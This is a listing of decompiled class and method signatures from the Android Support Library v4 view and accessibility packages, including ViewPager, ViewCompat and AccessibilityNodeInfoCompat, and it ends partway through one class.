android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityRecordCompat {
    private static final AccessibilityRecordCompat$AccessibilityRecordImpl IMPL;
    private final Object mRecord;
    public void AccessibilityRecordCompat(Object);
    public Object getImpl();
    public static AccessibilityRecordCompat obtain(AccessibilityRecordCompat);
    public static AccessibilityRecordCompat obtain();
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat getSource();
    public int getWindowId();
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isFullScreen();
    public void setFullScreen(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public int getItemCount();
    public void setItemCount(int);
    public int getCurrentItemIndex();
    public void setCurrentItemIndex(int);
    public int getFromIndex();
    public void setFromIndex(int);
    public int getToIndex();
    public void setToIndex(int);
    public int getScrollX();
    public void setScrollX(int);
    public int getScrollY();
    public void setScrollY(int);
    public int getMaxScrollX();
    public void setMaxScrollX(int);
    public int getMaxScrollY();
    public void setMaxScrollY(int);
    public int getAddedCount();
    public void setAddedCount(int);
    public int getRemovedCount();
    public void setRemovedCount(int);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public java.util.List getText();
    public CharSequence getBeforeText();
    public void setBeforeText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public android.os.Parcelable getParcelableData();
    public void setParcelableData(android.os.Parcelable);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatIcs {
    void AccessibilityNodeInfoCompatIcs();
    public static Object obtain();
    public static Object obtain(android.view.View);
    public static Object obtain(Object);
    public static void addAction(Object, int);
    public static void addChild(Object, android.view.View);
    public static java.util.List findAccessibilityNodeInfosByText(Object, String);
    public static int getActions(Object);
    public static void getBoundsInParent(Object, android.graphics.Rect);
    public static void getBoundsInScreen(Object, android.graphics.Rect);
    public static Object getChild(Object, int);
    public static int getChildCount(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static CharSequence getPackageName(Object);
    public static Object getParent(Object);
    public static CharSequence getText(Object);
    public static int getWindowId(Object);
    public static boolean isCheckable(Object);
    public static boolean isChecked(Object);
    public static boolean isClickable(Object);
    public static boolean isEnabled(Object);
    public static boolean isFocusable(Object);
    public static boolean isFocused(Object);
    public static boolean isLongClickable(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static boolean isSelected(Object);
    public static boolean performAction(Object, int);
    public static void setBoundsInParent(Object, android.graphics.Rect);
    public static void setBoundsInScreen(Object, android.graphics.Rect);
    public static void setCheckable(Object, boolean);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setClickable(Object, boolean);
    public static void setContentDescription(Object, CharSequence);
    public static void setEnabled(Object, boolean);
    public static void setFocusable(Object, boolean);
    public static void setFocused(Object, boolean);
    public static void setLongClickable(Object, boolean);
    public static void setPackageName(Object, CharSequence);
    public static void setParent(Object, android.view.View);
    public static void setPassword(Object, boolean);
    public static void setScrollable(Object, boolean);
    public static void setSelected(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setText(Object, CharSequence);
    public static void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatJellyBean$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatJellyBean$1(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventStubImpl implements AccessibilityEventCompat$AccessibilityEventVersionImpl {
    void AccessibilityEventCompat$AccessibilityEventStubImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityManagerCompat {
    private static final AccessibilityManagerCompat$AccessibilityManagerVersionImpl IMPL;
    public void AccessibilityManagerCompat();
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    public abstract Object obtain();
    public abstract Object obtain(android.view.View);
    public abstract Object obtain(Object);
    public abstract Object obtain(android.view.View, int);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract Object findFocus(Object, int);
    public abstract Object focusSearch(Object, int);
    public abstract int getWindowId(Object);
    public abstract int getChildCount(Object);
    public abstract Object getChild(Object, int);
    public abstract void addChild(Object, android.view.View);
    public abstract void addChild(Object, android.view.View, int);
    public abstract int getActions(Object);
    public abstract void addAction(Object, int);
    public abstract boolean performAction(Object, int);
    public abstract boolean performAction(Object, int, android.os.Bundle);
    public abstract void setMovementGranularities(Object, int);
    public abstract int getMovementGranularities(Object);
    public abstract java.util.List findAccessibilityNodeInfosByText(Object, String);
    public abstract Object getParent(Object);
    public abstract void setParent(Object, android.view.View, int);
    public abstract void setParent(Object, android.view.View);
    public abstract void getBoundsInParent(Object, android.graphics.Rect);
    public abstract void setBoundsInParent(Object, android.graphics.Rect);
    public abstract void getBoundsInScreen(Object, android.graphics.Rect);
    public abstract void setBoundsInScreen(Object, android.graphics.Rect);
    public abstract boolean isCheckable(Object);
    public abstract void setCheckable(Object, boolean);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isFocusable(Object);
    public abstract void setFocusable(Object, boolean);
    public abstract boolean isFocused(Object);
    public abstract void setFocused(Object, boolean);
    public abstract boolean isVisibleToUser(Object);
    public abstract void setVisibleToUser(Object, boolean);
    public abstract boolean isAccessibilityFocused(Object);
    public abstract void setAccessibilityFocused(Object, boolean);
    public abstract boolean isSelected(Object);
    public abstract void setSelected(Object, boolean);
    public abstract boolean isClickable(Object);
    public abstract void setClickable(Object, boolean);
    public abstract boolean isLongClickable(Object);
    public abstract void setLongClickable(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract CharSequence getPackageName(Object);
    public abstract void setPackageName(Object, CharSequence);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract CharSequence getText(Object);
    public abstract void setText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl();
    public Object obtain(android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void addChild(Object, android.view.View, int);
    public void setSource(Object, android.view.View, int);
    public boolean isVisibleToUser(Object);
    public void setVisibleToUser(Object, boolean);
    public boolean isAccessibilityFocused(Object);
    public void setAccessibilityFocused(Object, boolean);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1 implements AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1(AccessibilityManagerCompat$AccessibilityManagerIcsImpl, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl extends AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl {
    void AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl();
    public void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/ViewConfigurationCompat$ViewConfigurationVersionImpl.class


package android.support.v4.view;
abstract interface ViewConfigurationCompat$ViewConfigurationVersionImpl {
    public abstract int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/ViewCompatGingerbread.class


package android.support.v4.view;
synchronized class ViewCompatGingerbread {
    void ViewCompatGingerbread();
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/ViewPager$OnPageChangeListener.class


package android.support.v4.view;
public abstract interface ViewPager$OnPageChangeListener {
    public abstract void onPageScrolled(int, float, int);
    public abstract void onPageSelected(int);
    public abstract void onPageScrollStateChanged(int);
}










android/support/v4/view/MenuCompat$MenuVersionImpl.class


package android.support.v4.view;
abstract interface MenuCompat$MenuVersionImpl {
    public abstract boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateStubImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateStubImpl implements AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateStubImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2 implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private final android.view.GestureDetector mDetector;
    public void GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ViewPager.class


package android.support.v4.view;
public synchronized class ViewPager extends android.view.ViewGroup {
    private static final String TAG = ViewPager;
    private static final boolean DEBUG = 0;
    private static final boolean USE_CACHE = 0;
    private static final int DEFAULT_OFFSCREEN_PAGES = 1;
    private static final int MAX_SETTLE_DURATION = 600;
    private static final int MIN_DISTANCE_FOR_FLING = 25;
    private static final int DEFAULT_GUTTER_SIZE = 16;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final int[] LAYOUT_ATTRS;
    private int mExpectedAdapterCount;
    private static final java.util.Comparator COMPARATOR;
    private static final android.view.animation.Interpolator sInterpolator;
    private final java.util.ArrayList mItems;
    private final ViewPager$ItemInfo mTempItem;
    private final android.graphics.Rect mTempRect;
    private PagerAdapter mAdapter;
    private int mCurItem;
    private int mRestoredCurItem;
    private android.os.Parcelable mRestoredAdapterState;
    private ClassLoader mRestoredClassLoader;
    private android.widget.Scroller mScroller;
    private ViewPager$PagerObserver mObserver;
    private int mPageMargin;
    private android.graphics.drawable.Drawable mMarginDrawable;
    private int mTopPageBounds;
    private int mBottomPageBounds;
    private float mFirstOffset;
    private float mLastOffset;
    private int mChildWidthMeasureSpec;
    private int mChildHeightMeasureSpec;
    private boolean mInLayout;
    private boolean mScrollingCacheEnabled;
    private boolean mPopulatePending;
    private int mOffscreenPageLimit;
    private boolean mIsBeingDragged;
    private boolean mIsUnableToDrag;
    private boolean mIgnoreGutter;
    private int mDefaultGutterSize;
    private int mGutterSize;
    private int mTouchSlop;
    private float mLastMotionX;
    private float mLastMotionY;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mActivePointerId;
    private static final int INVALID_POINTER = -1;
    private android.view.VelocityTracker mVelocityTracker;
    private int mMinimumVelocity;
    private int mMaximumVelocity;
    private int mFlingDistance;
    private int mCloseEnough;
    private static final int CLOSE_ENOUGH = 2;
    private boolean mFakeDragging;
    private long mFakeDragBeginTime;
    private android.support.v4.widget.EdgeEffectCompat mLeftEdge;
    private android.support.v4.widget.EdgeEffectCompat mRightEdge;
    private boolean mFirstLayout;
    private boolean mNeedCalculatePageOffsets;
    private boolean mCalledSuper;
    private int mDecorChildCount;
    private ViewPager$OnPageChangeListener mOnPageChangeListener;
    private ViewPager$OnPageChangeListener mInternalPageChangeListener;
    private ViewPager$OnAdapterChangeListener mAdapterChangeListener;
    private ViewPager$PageTransformer mPageTransformer;
    private reflect.Method mSetChildrenDrawingOrderEnabled;
    private static final int DRAW_ORDER_DEFAULT = 0;
    private static final int DRAW_ORDER_FORWARD = 1;
    private static final int DRAW_ORDER_REVERSE = 2;
    private int mDrawingOrder;
    private java.util.ArrayList mDrawingOrderedChildren;
    private static final ViewPager$ViewPositionComparator sPositionComparator;
    public static final int SCROLL_STATE_IDLE = 0;
    public static final int SCROLL_STATE_DRAGGING = 1;
    public static final int SCROLL_STATE_SETTLING = 2;
    private final Runnable mEndScrollRunnable;
    private int mScrollState;
    public void ViewPager(android.content.Context);
    public void ViewPager(android.content.Context, android.util.AttributeSet);
    void initViewPager();
    protected void onDetachedFromWindow();
    private void setScrollState(int);
    public void setAdapter(PagerAdapter);
    private void removeNonDecorViews();
    public PagerAdapter getAdapter();
    void setOnAdapterChangeListener(ViewPager$OnAdapterChangeListener);
    private int getClientWidth();
    public void setCurrentItem(int);
    public void setCurrentItem(int, boolean);
    public int getCurrentItem();
    void setCurrentItemInternal(int, boolean, boolean);
    void setCurrentItemInternal(int, boolean, boolean, int);
    private void scrollToItem(int, boolean, int, boolean);
    public void setOnPageChangeListener(ViewPager$OnPageChangeListener);
    public void setPageTransformer(boolean, ViewPager$PageTransformer);
    void setChildrenDrawingOrderEnabledCompat(boolean);
    protected int getChildDrawingOrder(int, int);
    ViewPager$OnPageChangeListener setInternalPageChangeListener(ViewPager$OnPageChangeListener);
    public int getOffscreenPageLimit();
    public void setOffscreenPageLimit(int);
    public void setPageMargin(int);
    public int getPageMargin();
    public void setPageMarginDrawable(android.graphics.drawable.Drawable);
    public void setPageMarginDrawable(int);
    protected boolean verifyDrawable(android.graphics.drawable.Drawable);
    protected void drawableStateChanged();
    float distanceInfluenceForSnapDuration(float);
    void smoothScrollTo(int, int);
    void smoothScrollTo(int, int, int);
    ViewPager$ItemInfo addNewItem(int, int);
    void dataSetChanged();
    void populate();
    void populate(int);
    private void sortChildDrawingOrder();
    private void calculatePageOffsets(ViewPager$ItemInfo, int, ViewPager$ItemInfo);
    public android.os.Parcelable onSaveInstanceState();
    public void onRestoreInstanceState(android.os.Parcelable);
    public void addView(android.view.View, int, android.view.ViewGroup$LayoutParams);
    public void removeView(android.view.View);
    ViewPager$ItemInfo infoForChild(android.view.View);
    ViewPager$ItemInfo infoForAnyChild(android.view.View);
    ViewPager$ItemInfo infoForPosition(int);
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onSizeChanged(int, int, int, int);
    private void recomputeScrollPosition(int, int, int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void computeScroll();
    private boolean pageScrolled(int);
    protected void onPageScrolled(int, float, int);
    private void completeScroll(boolean);
    private boolean isGutterDrag(float, float);
    private void enableLayers(boolean);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private boolean performDrag(float);
    private ViewPager$ItemInfo infoForCurrentScrollPosition();
    private int determineTargetPage(int, float, int, int);
    public void draw(android.graphics.Canvas);
    protected void onDraw(android.graphics.Canvas);
    public boolean beginFakeDrag();
    public void endFakeDrag();
    public void fakeDragBy(float);
    public boolean isFakeDragging();
    private void onSecondaryPointerUp(android.view.MotionEvent);
    private void endDrag();
    private void setScrollingCacheEnabled(boolean);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public boolean executeKeyEvent(android.view.KeyEvent);
    public boolean arrowScroll(int);
    private android.graphics.Rect getChildRectInPagerCoordinates(android.graphics.Rect, android.view.View);
    boolean pageLeft();
    boolean pageRight();
    public void addFocusables(java.util.ArrayList, int, int);
    public void addTouchables(java.util.ArrayList);
    protected boolean onRequestFocusInDescendants(int, android.graphics.Rect);
    public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/view/MotionEventCompat$EclairMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$EclairMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$EclairMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImpl.class


package android.support.v4.view;
abstract interface GestureDetectorCompat$GestureDetectorCompatImpl {
    public abstract boolean isLongpressEnabled();
    public abstract boolean onTouchEvent(android.view.MotionEvent);
    public abstract void setIsLongpressEnabled(boolean);
    public abstract void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/PagerTitleStripIcs.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs {
    void PagerTitleStripIcs();
    public static void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/MotionEventCompat.class


package android.support.v4.view;
public synchronized class MotionEventCompat {
    static final MotionEventCompat$MotionEventVersionImpl IMPL;
    public static final int ACTION_MASK = 255;
    public static final int ACTION_POINTER_DOWN = 5;
    public static final int ACTION_POINTER_UP = 6;
    public static final int ACTION_HOVER_MOVE = 7;
    public static final int ACTION_SCROLL = 8;
    public static final int ACTION_POINTER_INDEX_MASK = 65280;
    public static final int ACTION_POINTER_INDEX_SHIFT = 8;
    public static final int ACTION_HOVER_ENTER = 9;
    public static final int ACTION_HOVER_EXIT = 10;
    public void MotionEventCompat();
    public static int getActionMasked(android.view.MotionEvent);
    public static int getActionIndex(android.view.MotionEvent);
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
    static void <clinit>();
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplBase.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplBase implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplBase();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewCompat$JBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JBViewCompatImpl extends ViewCompat$ICSViewCompatImpl {
    void ViewCompat$JBViewCompatImpl();
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1 implements AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/KeyEventCompat$HoneycombKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$HoneycombKeyEventVersionImpl extends KeyEventCompat$EclairKeyEventVersionImpl {
    void KeyEventCompat$HoneycombKeyEventVersionImpl();
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/MenuItemCompatHoneycomb.class


package android.support.v4.view;
synchronized class MenuItemCompatHoneycomb {
    void MenuItemCompatHoneycomb();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
}










android/support/v4/view/GravityCompat.class


package android.support.v4.view;
public synchronized class GravityCompat {
    static final GravityCompat$GravityCompatImpl IMPL;
    public static final int RELATIVE_LAYOUT_DIRECTION = 8388608;
    public static final int START = 8388611;
    public static final int END = 8388613;
    public static final int RELATIVE_HORIZONTAL_GRAVITY_MASK = 8388615;
    public void GravityCompat();
    public static void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public static void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public static void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
    public static int getAbsoluteGravity(int, int);
    static void <clinit>();
}










android/support/v4/view/ViewPager$1.class


package android.support.v4.view;
final synchronized class ViewPager$1 implements java.util.Comparator {
    void ViewPager$1();
    public int compare(ViewPager$ItemInfo, ViewPager$ItemInfo);
}










android/support/v4/view/ViewConfigurationCompat$FroyoViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$FroyoViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$FroyoViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/ViewCompat.class


package android.support.v4.view;
public synchronized class ViewCompat {
    public static final int OVER_SCROLL_ALWAYS = 0;
    public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1;
    public static final int OVER_SCROLL_NEVER = 2;
    private static final long FAKE_FRAME_TIME = 10;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2;
    public static final int LAYER_TYPE_NONE = 0;
    public static final int LAYER_TYPE_SOFTWARE = 1;
    public static final int LAYER_TYPE_HARDWARE = 2;
    public static final int LAYOUT_DIRECTION_LTR = 0;
    public static final int LAYOUT_DIRECTION_RTL = 1;
    public static final int LAYOUT_DIRECTION_INHERIT = 2;
    public static final int LAYOUT_DIRECTION_LOCALE = 3;
    static final ViewCompat$ViewCompatImpl IMPL;
    public void ViewCompat();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public static void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
    static void <clinit>();
}










android/support/v4/view/ViewCompat$HCViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$HCViewCompatImpl extends ViewCompat$GBViewCompatImpl {
    void ViewCompat$HCViewCompatImpl();
    long getFrameTime();
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
}










android/support/v4/view/ViewPager$ItemInfo.class


package android.support.v4.view;
synchronized class ViewPager$ItemInfo {
    Object object;
    int position;
    boolean scrolling;
    float widthFactor;
    float offset;
    void ViewPager$ItemInfo();
}










android/support/v4/view/ViewCompatICS.class


package android.support.v4.view;
synchronized class ViewCompatICS {
    void ViewCompatICS();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static void setAccessibilityDelegate(android.view.View, Object);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, Object);
}










android/support/v4/view/AccessibilityDelegateCompatIcs.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatIcs {
    void AccessibilityDelegateCompatIcs();
    public static Object newAccessibilityDelegateDefaultImpl();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
